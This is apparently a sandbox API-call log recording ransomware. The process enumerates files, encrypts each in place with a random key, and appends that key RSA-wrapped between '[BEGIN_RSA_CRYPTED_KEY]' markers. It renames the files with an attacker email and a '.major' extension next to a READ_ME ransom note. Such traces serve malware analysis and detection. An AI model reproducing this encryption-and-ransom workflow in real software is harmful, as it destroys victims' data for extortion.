[0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0138.718] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffe9ea45, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5470 [0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0138.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0138.718] GetLastError () returned 0x0 [0138.718] SetLastError (dwErrCode=0x0) [0138.718] GetLastError () returned 0x0 [0138.718] SetLastError (dwErrCode=0x0) [0138.718] GetLastError () returned 0x0 [0138.718] SetLastError (dwErrCode=0x0) [0138.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0138.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0138.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b57f0 [0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57f0 | out: hHeap=0x570000) returned 1 [0138.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0138.718] FindNextFileW (in: hFindFile=0x5b5470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffe9ea45, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0138.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0138.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0138.719] GetLastError () returned 0x0 [0138.719] SetLastError (dwErrCode=0x0) [0138.719] GetLastError () returned 0x0 [0138.719] SetLastError (dwErrCode=0x0) [0138.719] GetLastError () returned 0x0 [0138.719] SetLastError (dwErrCode=0x0) [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0138.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5570 [0138.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5570 | out: hHeap=0x570000) returned 1 [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0138.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0138.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x5b5470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0138.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0138.719] GetLastError () returned 0x0 [0138.719] SetLastError (dwErrCode=0x0) [0138.719] GetLastError () returned 0x0 [0138.719] SetLastError (dwErrCode=0x0) [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0138.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0138.719] GetLastError () returned 0x0 [0138.719] SetLastError (dwErrCode=0x0) [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.719] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.719] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0138.720] FindNextFileW (in: hFindFile=0x5b5470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0138.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0138.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0138.720] GetLastError () returned 0x0 [0138.720] SetLastError (dwErrCode=0x0) [0138.720] GetLastError () returned 0x0 [0138.720] SetLastError (dwErrCode=0x0) [0138.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0138.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0138.720] GetLastError () returned 0x0 [0138.720] SetLastError (dwErrCode=0x0) [0138.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0138.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0138.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0138.720] FindNextFileW (in: hFindFile=0x5b5470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe9ea45, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffe9ea45, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffe9ea45, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0138.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0138.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0138.720] GetLastError () returned 0x0 [0138.720] SetLastError (dwErrCode=0x0) [0138.720] GetLastError () returned 0x0 [0138.720] SetLastError (dwErrCode=0x0) [0138.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0138.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0138.720] GetLastError () returned 0x0 [0138.720] SetLastError (dwErrCode=0x0) [0138.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x5b5470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0138.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0138.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0138.721] GetLastError () returned 0x0 [0138.721] SetLastError (dwErrCode=0x0) [0138.721] GetLastError () returned 0x0 [0138.721] SetLastError (dwErrCode=0x0) [0138.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0138.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0138.721] GetLastError () returned 0x0 [0138.721] SetLastError (dwErrCode=0x0) [0138.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0138.721] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0138.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0138.721] FindNextFileW (in: hFindFile=0x5b5470, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0138.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0138.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.721] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.721] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1038\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0138.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0138.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.722] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0138.722] CreateFileW (lpFileName="\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0138.722] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18776) returned 1 [0138.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x5ed868 [0138.722] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x5f21c8 [0138.722] ReadFile (in: hFile=0x4ac, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0138.762] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.762] WriteFile (in: hFile=0x4ac, lpBuffer=0x5f21c8*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f21c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0138.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f21c8 | out: hHeap=0x570000) returned 1 [0138.764] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4958 [0138.764] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.764] WriteFile (in: hFile=0x4ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.764] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.764] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.765] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.765] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="x7rI04Y8H1wer7MvJGrNFxnBBc+XDzsK3Vgbw03vLY4d/4Fsa0LMXc74WsGTRO0Y\niQaCNeXGj5RgB2zzSEVjt60I8AgQ3eGDSQSW14OQwlaQT4L9A2JddxMANd1o6Z4U\nikIBzdLvSZnOK4KLJHBIRv70t/z5gXrKEgEutVezTKJI+5SSWqTYO4WqoXeB/gtR\n7MYS3TadWaYsIRxiKHk/6BXfakFjrw9djB9D3Zll37GsZRuAgFnmi6QYYy7XanrK\nIqAjiJlmcuh5P/DM9t9cfazXxszWgLl8KBrFM/vpX8TJL60g0kZn2IaUtA/TqOAL\n1ZMM+cj3uMZCfXkiGPTjbw==\n", pcchString=0x2e3f9a8) returned 1 [0138.766] WriteFile (in: hFile=0x4ac, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.766] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.766] WriteFile (in: hFile=0x4ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.766] CloseHandle (hObject=0x4ac) returned 1 [0138.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.767] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1038\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0138.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0138.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0138.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.769] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.769] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1038\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0138.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0138.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0138.769] CreateFileW (lpFileName="\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0138.769] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=86442) returned 1 [0138.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x151aa) returned 0x5ed868 [0138.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x151aa) returned 0x602a20 [0138.770] ReadFile (in: hFile=0x4ac, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x151aa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x151aa, lpOverlapped=0x0) returned 1 [0138.793] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=-86442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.793] WriteFile (in: hFile=0x4ac, lpBuffer=0x602a20*, nNumberOfBytesToWrite=0x151aa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x602a20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x151aa, lpOverlapped=0x0) returned 1 [0138.794] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.795] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x602a20 | out: hHeap=0x570000) returned 1 [0138.796] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x151aa [0138.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.797] WriteFile (in: hFile=0x4ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="SmaikNaYAuVpG4fnxnhVJ8fMrniD7d6NQ6Q38pDO9wzRg7FLj/8i/GiC4XyGLPvW\nz/Yp/9VhUUA+NdDIn/+QaWJvk9qj3txBIJIay39HLaXPO9rZ5R0u+H/f81zQLrRM\nhVFnneIriDQEnk0BGLIZmYAEI+vnDfq7nLuesLEXUN26N3+IriScqJarnJTqNBM4\n1CBveiyoYDy39ZLJU0p9ElLMQyNWM6uMmPnIdcSwQytAtSE09M23ct61ksnkQ1sf\n+SAwWqMO/oOBQMk1P/658jk8ytQoti+VhyzJjYByGbqTNaW0FS3fxh5F7+2ECmpt\n7//U4+WOQ9pZPILadk0KSg==\n", pcchString=0x2e3f9a8) returned 1 [0138.798] WriteFile (in: hFile=0x4ac, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.798] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.798] WriteFile (in: hFile=0x4ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.798] CloseHandle (hObject=0x4ac) returned 1 [0138.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.801] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1038\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.805] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.805] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.805] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0138.805] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0138.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0138.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.805] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.805] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1038\\eula.rtf", dwFileAttributes=0x80) returned 1 [0138.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0138.805] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0138.805] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0138.806] CreateFileW (lpFileName="\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0138.806] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4254) returned 1 [0138.806] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x109e) returned 0x5ed868 [0138.806] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x109e) returned 0x5ee910 [0138.806] ReadFile (in: hFile=0x4ac, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x109e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x109e, lpOverlapped=0x0) returned 1 [0138.818] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=-4254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.818] WriteFile (in: hFile=0x4ac, lpBuffer=0x5ee910*, nNumberOfBytesToWrite=0x109e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee910*, lpNumberOfBytesWritten=0x2e3f9b4*=0x109e, lpOverlapped=0x0) returned 1 [0138.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee910 | out: hHeap=0x570000) returned 1 [0138.818] SetFilePointer (in: hFile=0x4ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x109e [0138.818] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.818] WriteFile (in: hFile=0x4ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.818] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.818] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 